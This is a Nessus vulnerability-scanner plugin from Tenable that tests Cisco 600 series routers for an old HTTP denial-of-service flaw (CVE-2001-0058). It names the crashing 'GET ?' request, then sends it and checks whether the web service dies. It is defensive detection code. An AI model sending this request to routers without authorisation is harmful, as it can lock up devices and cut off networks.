Cisco 600 Series Router HTTP GET DoS (cisco-sa-20001204-cbos)

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable network Security, Inc.
#
# Script audit and contributions from Carmichael Security
#      Erik Anderson <[email protected]> (nb: this domain no longer exists)
#      Added link to the Bugtraq message archive
#      Could support CVE-2001-0058
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(10561);
  script_version("1.33");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2001-0058");
  script_xref(name:"CISCO-SA", value:"cisco-sa-20001204-cbos");

  script_name(english:"Cisco 600 Series Router HTTP GET DoS (cisco-sa-20001204-cbos)");

  script_set_attribute(attribute:"synopsis", value:
"The remote router is prone to a denial of service attack.");
  script_set_attribute(attribute:"description", value:
"It was possible to lock the remote router by sending the following
request :

  GET ?

An attacker may use this flaw to lock this host, thus preventing your
network from working properly.");
  # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20001204-cbos
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5df5b1a5");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Nov/392");
  script_set_attribute(attribute:"solution", value:
"Contact CISCO for a fix or add the following rule to your router :

  set web disabled
  write
  reboot");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:N/I:N/A:C");

  script_set_attribute(attribute:"vuln_publication_date", value:"2000/11/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2000/12/04");
  script_set_attribute(attribute:"plugin_publication_date", value:"2000/11/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:cisco:broadband_operating_system");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"CISCO");

  script_copyright(english:"This script is Copyright (C) 2000-2022 Tenable Network Security, Inc.");

  script_dependencies("find_service1.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

os = get_kb_item("Host/OS");
if ( os && "CISCO" >!< os ) exit(0);


port = get_http_port(default:80);
banner = get_http_banner(port:port);
if ( "cisco-IOS" >!< banner ) exit(0);

if (http_is_dead(port:port)) exit(0);

r = http_send_recv_buf(port: port, data: 'GET ? \r\n\r\n');
sleep(1);
if (http_is_dead(port: port)) security_warning(port);